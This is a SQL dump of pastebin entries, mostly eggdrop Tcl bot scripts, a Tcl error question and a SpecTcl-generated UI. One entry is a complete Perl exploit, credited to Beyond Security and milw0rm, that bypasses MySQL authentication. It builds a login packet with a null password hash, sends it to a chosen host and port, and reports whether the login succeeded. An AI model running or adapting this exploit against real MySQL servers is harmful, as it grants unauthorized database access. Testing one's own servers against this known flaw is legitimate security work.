INSERT INTO `pastebin` VALUES (2514, 'BL4DE', '2004-12-22 14:19:17', '# interface generated by SpecTcl version 1.1 from C:/Program Files/SpecTcl1.1/demo/test1.ui\r\n#   root     is the parent window for this user interface\r\n\r\nproc test1_ui {root args} {\r\n\r\n	# this treats "." as a special case\r\n\r\n	if {$root == "."} {\r\n	    set base ""\r\n	} else {\r\n	    set base $root\r\n	}\r\n    \r\n	button $base.button#1 \\\r\n		-command lametest \\\r\n		-text button\r\n\r\n	entry $base.entry#1 \\\r\n		-textvariable entry\r\n\r\n\r\n	# Geometry management\r\n\r\n	grid $base.button#1 -in $root	-row 1 -column 2 \r\n	grid $base.entry#1 -in $root	-row 2 -column 2 \r\n\r\n	# Resize behavior management\r\n\r\n	grid rowconfigure $root 1 -weight 0 -minsize 30\r\n	grid rowconfigure $root 2 -weight 0 -minsize 77\r\n	grid columnconfigure $root 1 -weight 0 -minsize 30\r\n	grid columnconfigure $root 2 -weight 0 -minsize 238\r\n# additional interface code\r\n# end additional interface code\r\n\r\n}\r\n\r\n\r\n# Allow interface to be run "stand-alone" for testing\r\n\r\ncatch {\r\n    if [info exists embed_args] {\r\n	# we are running in the plugin\r\n	test1_ui .\r\n    } else {\r\n	# we are running in stand-alone mode\r\n	if {$argv0 == [info script]} {\r\n	    wm title . "Testing test1_ui"\r\n	    test1_ui .\r\n	}\r\n    }\r\n}\r\n\r\nproc lametest {} {\r\n	wm title . "[.entry#1 get]"\r\n}', 0, 'tcl', 'try this', '#EggTCL');
INSERT INTO `pastebin` VALUES (2618, 'syn', '2005-01-28 06:35:39', '#!/usr/bin/perl\r\n#\r\n# The script connects to MySQL and attempts to log in using a zero-length password\r\n# Based on the vuln found by NGSSecurity\r\n#\r\n# The following Perl script can be used to test your version of MySQL. It will display \r\n# the login packet sent to the server and it''s reply.\r\n# \r\n# Exploit copyright (c) 2004 by Eli Kara, Beyond Security\r\n# elik beyondsecurity com\r\n#\r\nuse strict;\r\nuse IO::Socket::INET;\r\n\r\nusage() unless ((@ARGV >= 1) || (@ARGV <= 3));\r\n\r\nmy $username = shift(@ARGV);\r\nmy $host = shift(@ARGV);\r\nif (!$host)\r\n{\r\n  usage();\r\n}\r\nmy $port = shift(@ARGV);\r\nif (!$port)\r\n{\r\n $port = 3306; print "Using default MySQL port (3306)\\n";\r\n}\r\n\r\n# create the socket\r\nmy $socket = IO::Socket::INET->new(proto=>''tcp'', PeerAddr=>$host, PeerPort=>$port);\r\n$socket or die "Cannot connect to host!\\n";\r\n\r\n# receive greeting\r\nmy $reply;\r\nrecv($socket, $reply, 1024, 0);\r\nif (length($reply) < 7)\r\n{\r\n print "Not allowed to connect to MySQL!\\n";\r\n exit(1);\r\n}\r\nprint "Received greeting:\\n";\r\nHexDump($reply);\r\nprint "\\n";\r\n\r\n# here we define the login OK reply\r\n# my $login_ok = "\\x01\\x00\\x00\\x02\\xFE";\r\n\r\n# break the username string into chars and rebuild it\r\nmy $binuser = pack("C*", unpack("C*", $username));\r\n\r\n# send login caps packet with password\r\nmy $packet = "\\x85\\xa6". \r\n             "\\x03\\x00\\x00".\r\n    "\\x00".\r\n    "\\x00\\x01\\x08\\x00\\x00\\x00". # capabilities, max packet, etc..\r\n             "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00".\r\n             "\\x00\\x00\\x00\\x00".$binuser."\\x00\\x14\\x00\\x00\\x00\\x00". # username and pword hash length + NULL hash\r\n             "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"; # continue NULL hash\r\n\r\nsubstr($packet, 0, 0) = pack("C1", length($packet)) . "\\x00\\x00\\x01"; # MySQL message length + packet number (1)\r\n\r\nprint "Sending caps packet:\\n";\r\nHexDump($packet);\r\nprint "\\n";\r\nsend $socket, $packet, 0;\r\n\r\n# receive reply\r\nrecv($socket, $reply, 1024, 0);\r\nprint "Received reply:\\n";\r\nHexDump($reply);\r\n\r\nmy @list_bytes = unpack("C*", $reply);\r\n\r\n#print "The fifth byte is: ", $list_bytes[4], "\\n";\r\nif (length(@list_bytes) >= 4)\r\n{\r\n print "Response insufficent\\n";\r\n}\r\n\r\n#if ($reply eq $login_ok)\r\nif ($list_bytes[4] == 0 || $list_bytes[4] == 254)\r\n{\r\n print "Received OK reply, authentication successful!!\\n";\r\n}\r\nelse\r\n{\r\n print "Authentication failed!\\n";\r\n}\r\n\r\n# close\r\nclose($socket);\r\n\r\n\r\nsub usage\r\n{\r\n    # print usage information\r\n    print "\\nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]\\n\r\n<username> - The DB username to authenticate as\r\n<host> - The host to connect to\r\n[port] - The TCP port which MySQL is listening on (optional, default is 3306)\\n\\n";\r\n    exit(1);\r\n}\r\n\r\n\r\n###\r\n# do a hexdump of a string (assuming it''s binary)\r\n###\r\nsub HexDump\r\n{\r\n my $buffer = $_[0];\r\n\r\n # unpack it into chars\r\n my @up = unpack("C*", $buffer);\r\n my $pos=0;\r\n\r\n # calculate matrix sizes\r\n my $rows = int(@up/16);\r\n my $leftover = int(@up%16);\r\n\r\n for( my $row=0; $row < $rows ; $row++, $pos+=16)\r\n {\r\n  printf("%08X\\t", $pos);\r\n  my @values = @up[$pos .. $pos+15];\r\n  my @line;\r\n  foreach my $val (@values)\r\n  {\r\n   push(@line, sprintf("%02X", $val));\r\n  }\r\n  print join('' '', @line), "\\n";\r\n }\r\n # print last line\r\n printf("%08X\\t", $pos);\r\n my @values = @up[$pos .. $pos+$leftover-1];\r\n my @line;\r\n foreach my $val (@values)\r\n {\r\n  push(@line, sprintf("%02X", $val));\r\n }\r\n print join('' '', @line), "\\n";\r\n}\r\n# milw0rm.com [2004-07-10] ', 0, 'perl', 'x', 'none');

INSERT INTO `pastebin` VALUES (2620, 'FazLeeeN', '2005-01-28 14:55:54', 'bind join - * del:timer\r\nproc del:timer {nick host hand chan} {\r\n  if {([info exists ::timer($hand)]) && ([info exists ::host($hand)])} {\r\n    if {[lindex [split $host @] 1] == $::host($hand)} {\r\n      dccbroadcast "$::host($hand) added again to $hand''s hosts list again."\r\n      killtimer $::timer($hand)\r\n      unset ::timer($hand)\r\n    }\r\n  }\r\n}\r\n\r\nthe error:\r\n23:52:19 Â¤ <CooKies> [15:52] Tcl error [del:timer]: invalid idx', 0, 'tcl', 'none', '#EggTCL');
INSERT INTO `pastebin` VALUES (2621, 'FazLeeeN', '2005-01-28 14:56:38', 'bind join - * del:timer\r\nproc del:timer {nick host hand chan} {\r\n  if {([info exists ::timer($hand)]) && ([info exists ::host($hand)])} {\r\n    if {[lindex [split $host @] 1] == $::host($hand)} {\r\n      dccbroadcast "$::host($hand) added again to $hand''s hosts list again."\r\n      killtimer $::timer($hand)\r\n      unset ::timer($hand)\r\n    }\r\n  }\r\n}\r\n\r\nthe error msg:\r\n23:52:19 Â¤ <CooKies> [15:52] Tcl error [del:timer]: invalid idx', 0, 'tcl', 'none', 'none');
INSERT INTO `pastebin` VALUES (2626, 'deepwrk', '2005-01-31 08:13:06', '# ImDB Quotes\r\n#\r\n# Description: Pulls quotes from ImDB\r\n#\r\n# Features: Movie/Show Specific Quotes, offline database building\r\n# of pulled quotes for more advanced searching. Builds local database from \r\n# movie favorites specified.\r\n#\r\n# Usage: \r\n#		!imdbq -list ?-c##? ?-e? <movie title>\r\n#			This Displays movies/shows and there imdb ID''s for use \r\n#			with the -add function to mass add quotes.\r\n#			Use -cX with X = Number of results to show, to limit results.\r\n#			Use -e to force exact result matching.\r\n#		!imdbq -random\r\n#			Plays a random quote pulled from imdb.com.\r\n#		!imdbq -add <imdb ID>\r\n#			Enters entire database of quotes from the show/movie\r\n#			specified.\r\n#		!imdbq -del <Show Title>\r\n#			Searchs and deletes shows matching pattern given.\r\n#		!imdbq -info\r\n#			Displays Number of entries for each show as well as\r\n#			a grand total of entries among all shows.\r\n#		!imdbq\r\n#			By itself it will pull from the local database or\r\n#			will pull randomly depending on your options set.\r\n#\r\n# Edit below parameters to start automatic timer functions.\r\n#\r\n#\r\n\r\n\r\n#This will turn on local saving which can be used for creating a custom\r\n#quote database from particular shows/movies you enjoy. [0 = Off, 1 = On]\r\nset imdb_quotes(local) 1\r\n\r\n#Spit Random quotes on a timer? (If local saving is turned on local quotes are used)\r\n#[0 = Off, XXX = Minutes between Announces]\r\nset imdb_quotes(random) 60\r\n\r\n#If random quotes are to be sent to which channels?\r\nset imdb_quotes(random_chans) {\r\n #the-matrix\r\n}\r\n\r\n#Should we default all output to Private Notice? [0 = No, 1 = Yes]\r\nset imdb_quotes(private) 0\r\n\r\n#Maximum number of Shows/Movies to display by default?\r\n#(Pokemon will give you like 40+ results)\r\nset imdb_quotes(MAX) 4\r\n\r\n#Flags allowed to Add local quotes to the bot. \r\nset imdb_quotes(add_flag) "m"\r\n\r\n#Flags allowed to Delete local quotes to the bot.\r\nset imdb_quotes(del_flag) "m"\r\n\r\n#Should the bot try to perform its own secondary exact search\r\n#on the results by default? (You can always use -e to force exact searches)\r\n#[0 = No, 1 = Yes]\r\nset imdb_quotes(exact) "0"\r\n\r\n\r\n\r\nset imdb_quotes(ver) v1.2a\r\n\r\nif {$imdb_quotes(random)>0} {\r\n  set i_timer 1\r\n  foreach timer [timers] { if {[lindex [lindex $timer 1] 0]=="pub_imdb_quotes"} { set i_timer 0 } }\r\n  if {$i_timer} { timer $imdb_quotes(random) "pub_imdb_quotes . . . timer \\"\\"" }\r\n}\r\n\r\n\r\n\r\nbind pub -|- !imdbq pub_imdb_quotes\r\n\r\nproc save_imdb_quotes {} {\r\n  global imdb_quotes\r\n  set wfile [open scripts/imdb_quotes.dat w]\r\n  foreach q $imdb_quotes(saved) {\r\n    puts $wfile [html_replace $q]\r\n  }\r\n  close $wfile\r\n}\r\n\r\nproc load_imdb_quotes {} {\r\n  global imdb_quotes\r\n  if {![file exists scripts/imdb_quotes.dat]} {\r\n    set wfile [open scripts/imdb_quotes.dat w]\r\n    puts $wfile ""\r\n    close $wfile\r\n  }\r\n  set rfile [open scripts/imdb_quotes.dat r]\r\n  catch {unset imdb_quotes(saved)}\r\n  while {![eof $rfile]} {\r\n    set line [gets $rfile]\r\n    if {$line==""} { continue }\r\n    lappend imdb_quotes(saved) $line\r\n  }\r\n  close $rfile\r\n  if {![info exists imdb_quotes(saved)]} { set imdb_quotes(saved) "" }\r\n}\r\n\r\nload_imdb_quotes\r\n\r\nproc check_line {line} {\r\n  set tries 0\r\n  set buffer ""\r\n  set nextline ""\r\n  while {[string length $line]>360} {\r\n    if {$tries>4} { break }\r\n    if {[regexp {(.*[.?!])([^.]{15,}[.?!]?)} $line match newline nextline]} {\r\n      if {$nextline!=""} {\r\n	set line $newline\r\n	lappend buffer $nextline\r\n	set nextline ""\r\n      }\r\n    }\r\n    incr tries\r\n  }\r\n  return [linsert $buffer 0 $line]\r\n}\r\n\r\nproc html_replace {quotes} {\r\n  regsub -all {Â‘|Â‘} $quotes "\\`" quotes\r\n  regsub -all {Â’|Â’} $quotes "\\''" quotes\r\n  foreach index [lsort -decreasing [regexp -all -indices -inline {&#[0-9]+;} $quotes]] {\r\n     set binary_value [string range $quotes [lindex $index 0] [lindex $index 1]]\r\n     regexp {[0-9]+} $binary_value match\r\n     set quotes [string replace $quotes [lindex $index 0] [lindex $index 1] [format %c $match]]\r\n  }\r\n  return $quotes\r\n}\r\n\r\nproc get_imdb_quotes {private where nick function max exact show} {\r\n  global tokens\r\n  package require http\r\n  http::config -useragent "Mozilla/5.0"\r\n  set search $show\r\n  if {$show!=""} {\r\n    regsub -all " " $show "+" show\r\n  }\r\n  switch $function {\r\n    random { set url http://us.imdb.com/Sections/Quotes/ }\r\n    list { set url http://us.imdb.com/find?tt=on\\;nm=on\\;q=$show }\r\n    add { set url http://us.imdb.com/title/tt$show/quotes }\r\n  }\r\n  set conn [http::geturl $url -command spit_imdb_quotes]\r\n  set tokens($conn) "$private $where $nick [unixtime] $function $max $exact $search" \r\n}\r\n\r\nproc spit_imdb_quotes {token} {\r\n  global tokens imdb_quotes\r\n  set private [lindex $tokens($token) 0]\r\n  set where [lindex $tokens($token) 1]\r\n  set unixtime [lindex $tokens($token) 3]\r\n  set function [lindex $tokens($token) 4]\r\n  set max [lindex $tokens($token) 5]\r\n  set exact [lindex $tokens($token) 6]\r\n  set search_term [lrange $tokens($token) 7 end]\r\n  unset tokens($token)\r\n  upvar #0 $token http\r\n  if {$http(status)=="error"} {\r\n    if {$http(error)!=""} {\r\n      putserv  "$private $where :Error: $http(error)"\r\n      return 0\r\n    }\r\n  }\r\n  if {$http(status)=="timeout"} {\r\n    putserv "$private $where :Error: Timeout."\r\n    return 0\r\n  }\r\n  catch {\r\n	  switch $function {\r\n    random {\r\n      foreach line [split $http(body) \\n] {\r\n        if {[string match *BLOQUOTE* $line]} {\r\n          regsub -all {<[^>]*>} $line {} line\r\n          regexp {(.*)from:(.*)} $line match quotes movie\r\n          break\r\n        }\r\n      }\r\n      if {$private=="PRIVMSG" && $where=="timer"} { foreach where $imdb_quotes(random_chans) { putserv "$private $where :\\002$movie\\002 - $quotes" } } else {\r\n	putserv "$private $where :\\002$movie\\002 - $quotes"\r\n      }\r\n    }\r\n    list {\r\n      foreach line [split $http(body) \\n] {\r\n	if {[regexp {href=\\"/title/tt([0-9]*)/\\">([^<]*)(.*?aka <i>"?([^<"]*)"?)?} $line regexp title_number title_name aka_match aka_title]} {\r\n	  set shows($title_number) $title_name\r\n	  lappend show_list $title_number\r\n	}\r\n      }\r\n      set buffer_list "" ; set ebuffer_list ""\r\n      set cur_count 0\r\n      if {$max!=""} { set max_incr 1 } else { set max 0 }\r\n      if {![info exists shows]} {\r\n        putserv "$private $where :No Results."\r\n      } else {\r\n	  if {$exact} {\r\n	    set show_len [llength [array names shows]]\r\n	    if {$show_len>$max} {\r\n	      foreach show [$show_list] {\r\n	        set match 0\r\n	        foreach term [string tolower $search_term] {\r\n		  if {[string match *$term* [string tolower $shows($show)]]} { set match 1 } else { set match 0 }\r\n	        }\r\n	        if {$match} {\r\n	          set exp ^.?[string tolower $search_term].?.?\\\\\\(\\[?0-9\\]*\\\\\\).*\r\n		  if {[regexp $exp [string tolower $shows($show)]]} { lappend ebuffer_list $show } else {\r\n		    lappend buffer_list $show\r\n		  }\r\n		  set index [lsearch -exact $show_list $show]\r\n		  set show_list [lreplace $show_list $index $index]\r\n	        }\r\n	      }\r\n	    }\r\n	    set full_list $ebuffer_list\r\n	    append full_list " " $buffer_list\r\n	    append full_list " " $show_list\r\n	  } else { set full_list $show_list }\r\n	  foreach show $full_list {\r\n	    incr cur_count $max_incr\r\n	    if {$cur_count>$max} { break }\r\n	    putserv "$private $where :\\002[html_replace $shows($show)]\\002 \\037\\[ $show \\]\\037"\r\n	  }\r\n	}\r\n    }\r\n    add {\r\n      regexp -nocase {<strong[^>]*>(.*)</strong>} $http(body) match show\r\n      if {![info exists show]} {\r\n	putserv "$private $where :Couldn''t find quotes for that show"\r\n	return 0\r\n      }\r\n      regsub -all {<[^>]*>|\\n} $show {} show\r\n      set show [html_replace $show]\r\n      regexp -nocase {<a name=\\"qt[0-9]*\\">(.*)<p [^>]*>} $http(body) match quotes\r\n      regsub {</P>.*} $quotes {} quotes\r\n      regsub -all {<hr width=\\"30%\\">} $quotes \\002 quotes\r\n      regsub -all {<br>} $quotes |BR| quotes\r\n      regsub -all {<p align=\\"center\\">\\|BR\\|Browse titles.*} $quotes {} quotes\r\n      regsub -all {<[^>]*>|\\n} $quotes {} quotes\r\n      regsub -all : $quotes ": " quotes\r\n      set quotes [html_replace $quotes]\r\n      set cnt 0\r\n      foreach quote [split $quotes \\002] {\r\n	lappend imdb_quotes(saved) "$show||$quote"\r\n	incr cnt\r\n      }\r\n      save_imdb_quotes\r\n      putserv "$private $where :\\002$cnt\\002 Quotes added from \\002$show\\002"\r\n    }\r\n  }\r\n  } err\r\n  if {$err!=""} { putlog "Error: $err" }\r\n}\r\n\r\nproc pub_imdb_quotes {nick uhost hand chan arg} {\r\n  global imdb_quotes tokens randnum\r\n  set private 0\r\n  set function random\r\n  set exact $imdb_quotes(exact)\r\n  if {$imdb_quotes(local)} {\r\n    set function local\r\n  }\r\n  if {$imdb_quotes(private) && $hand=="*"} { set private 1 }\r\n  if {[set index [lsearch -exact $arg -del]]!="-1"} {\r\n    set function "delete"\r\n    set arg [lreplace $arg $index $index]\r\n    if {![matchattr $hand $imdb_quotes(del_flag)]} {\r\n      putnot $nick "You don''t have access to -del, your a peasant don''t you see?"\r\n      return 0\r\n    }\r\n    if {$arg==""} {\r\n      putnot $nick "Usage: !imdbq -del <Search Terms>"\r\n      return 0\r\n    }\r\n  }\r\n  if {[set index [lsearch -exact $arg -p]]!="-1"} {\r\n    set private 1\r\n    set arg [lreplace $arg $index $index]\r\n  }\r\n  if {[set index [lsearch -exact $arg -random]]!="-1"} {\r\n    set function "random"\r\n    set arg [lreplace $arg $index $index]\r\n  }\r\n  if {[set index [lsearch -exact $arg -list]]!="-1"} {\r\n    set function "list"\r\n    set arg [lreplace $arg $index $index]\r\n    if {$arg==""} {\r\n      putnot $nick "Usage: !imdbq -list ?-c##? ?-e? <search terms>"\r\n      return 0\r\n    }\r\n    set max $imdb_quotes(MAX)\r\n    if {[set index [lsearch -regexp $arg {-c[0-9]*}]]!="-1"} {\r\n      set max [string range [lindex $arg $index] 2 end]\r\n      set arg [lreplace $arg $index $index]\r\n      regsub -all {[^0-9]} $max "" max\r\n      if {$max==""} {\r\n	putnot $nick "Invalid count Flag number specified (Use a integer)"\r\n	return 0\r\n      }\r\n    }\r\n    if {[set index [lsearch -exact $arg -e]]!="-1"} {\r\n      set exact 1\r\n      set arg [lreplace $arg $index $index]\r\n    }\r\n  }\r\n  if {[set index [lsearch -exact $arg -info]]!="-1"} {\r\n    set function "info"\r\n    set arg [lreplace $arg $index $index]\r\n  }\r\n  if {[set index [lsearch -exact $arg -add]]!="-1"} {\r\n    if {!$imdb_quotes(local)} {\r\n      putnot $nick "Local Quote Storing has been turned off. Please bother the bot owner."\r\n      return 0\r\n    }\r\n    set function "add"\r\n    if {![matchattr $hand $imdb_quotes(add_flag)]} {\r\n      putnot $nick "You don''t have access to -add, your a peasant don''t you see?"\r\n      return 0\r\n    }\r\n    set arg [lreplace $arg $index $index]\r\n    if {$arg==""} {\r\n      putnot $nick "Usage: !imdbq -add <imdb Show ID>"\r\n      return 0\r\n    }\r\n    if {[regexp {[^0-9]} $arg]} {\r\n      putnot $nick "Invalid Show ID!"\r\n      return 0\r\n    }\r\n  }\r\n  foreach array [array names tokens] {\r\n    if {$nick==[lindex $tokens($array) 2]} {\r\n      if {[expr [unixtime] - [lindex $tokens($array) 3]]>300} {\r\n        unset tokens($array)\r\n      } else {\r\n          putnot $nick "You already have one query open wait a couple, go to blockbuster."\r\n          return 0\r\n        }\r\n    }\r\n  }\r\n  if {($chan=="timer") && ($imdb_quotes(random)>0)} {\r\n    timer $imdb_quotes(random) "pub_imdb_quotes . . . timer \\"\\""\r\n    set private 0\r\n  }\r\n  if {$private} {\r\n    set type "NOTICE"\r\n  } else {\r\n      set type "PRIVMSG"\r\n    }\r\n  if {$function=="delete"} {\r\n    regsub -all {^|$| } $arg "*" arg\r\n    set quotes ""\r\n    foreach quote $imdb_quotes(saved) {\r\n      regexp {(.*)\\|\\|} $quote match show\r\n      regsub -all \\" $show {} show\r\n      if {![string match $arg $show]} { lappend quotes $quote }\r\n    }\r\n    if {[llength $quotes]==[llength $imdb_quotes(saved)]} { putnot $nick "Match not found!" ; return 0 }\r\n    putnot $nick "Deleted \\002[expr [llength $imdb_quotes(saved)] - [llength $quotes]]\\002 entries"\r\n    set imdb_quotes(saved) $quotes\r\n    return 1\r\n  }\r\n  if {$function=="info"} {\r\n    foreach quote $imdb_quotes(saved) {\r\n      regexp {(.*)\\|\\|} $quote match show\r\n      regsub -all \\" $show {} show\r\n      regsub -all " " $show "_" show\r\n      if {![info exists shows($show)]} {\r\n	set shows($show) 1\r\n      } else { incr shows($show) }\r\n    }\r\n    set grandtotal 0\r\n    foreach show [array names shows] {\r\n      regsub -all "_" $show " " n_show\r\n      putnot $nick "\\002$n_show\\002 has $shows($show) entries"\r\n      incr grandtotal $shows($show)\r\n    }\r\n    putnot $nick "A grandtotal of \\[\\002$grandtotal\\002\\] entries"\r\n    return 1\r\n  }\r\n  if {$function=="local"} {\r\n    if {![info exists randnum]} { set randnum "" }\r\n    set quotes $imdb_quotes(saved)\r\n    if {$arg!=""} {\r\n      regsub -all {^|$| } $arg "*" arg\r\n      set quotes ""\r\n      foreach quote $imdb_quotes(saved) {\r\n        regexp {(.*)\\|\\|} $quote match show\r\n        regsub -all \\" $show {} show\r\n	if {[string match [string tolower $arg] [string tolower $show]]} { lappend quotes $quote }\r\n      }\r\n      if {$quotes==""} { putnot $nick "Match not found!" ; return 0 }\r\n    }\r\n    if {[llength $quotes]<1} {\r\n      putnot $nick "You don''t have any locally saved quotes please add some using !imdbq -add <imdb Show ID>"\r\n      return 0\r\n    }\r\n    set newrandnum [rand [llength $quotes]]\r\n    while {$newrandnum==$randnum} {\r\n      set newrandnum [rand [llength $quotes]]\r\n    }\r\n    set randnum $newrandnum\r\n    regexp {(.*)\\|\\|(.*)} [lindex $quotes $randnum] match show quote\r\n    regsub -all {\\|BR\\|} $quote \\002 quote\r\n    set show "\\002$show\\002 - "\r\n    if {$private} {\r\n      set go 0\r\n      foreach line [split $quote \\002] {\r\n	if {$line==""} { continue }\r\n	if {[string length $line]>360} {\r\n	  set line [check_line $line]\r\n	  foreach ln $line { putserv "NOTICE $nick :$show $ln" ; set show "" }\r\n	} else {\r\n	    putserv "NOTICE $nick :$show $line"\r\n	  }\r\n	if {!$go} { set show "" ; set go 1 }\r\n      }\r\n    } else {\r\n        set go 0\r\n        foreach line [split $quote \\002] {\r\n	  if {$line==""} { continue }\r\n	  if {[string length $line]>360} {\r\n	    set line [check_line $line]\r\n	    if {$chan=="timer"} {\r\n	      foreach ln $line { foreach chan $imdb_quotes(random_chans) { putserv "PRIVMSG $chan :$show $ln" } ; set show "" }\r\n	      set chan "timer"\r\n	    } else {\r\n		foreach ln $line { putserv "PRIVMSG $chan :$show $ln" ; set show "" }\r\n	      }\r\n	  } else {\r\n\r\n  	  if {$chan=="timer"} {\r\n            foreach chan $imdb_quotes(random_chans) { putserv "PRIVMSG $chan :$show $line" }\r\n	    set chan "timer"\r\n	  } else {\r\n	      putserv "PRIVMSG $chan :$show $line"\r\n	    }\r\n\r\n	  }\r\n  	  if {!$go} { set show "" ; set go 1 }\r\n        }\r\n      }\r\n  } else {\r\n      if {![info exists max]} { set max "" }\r\n      get_imdb_quotes $type $chan $nick $function $max $exact $arg\r\n    }\r\n  return 1\r\n}\r\n\r\nputlog "ImDB Quotes query tools for eggdrop"', 2625, 'none', 'none', 'none');
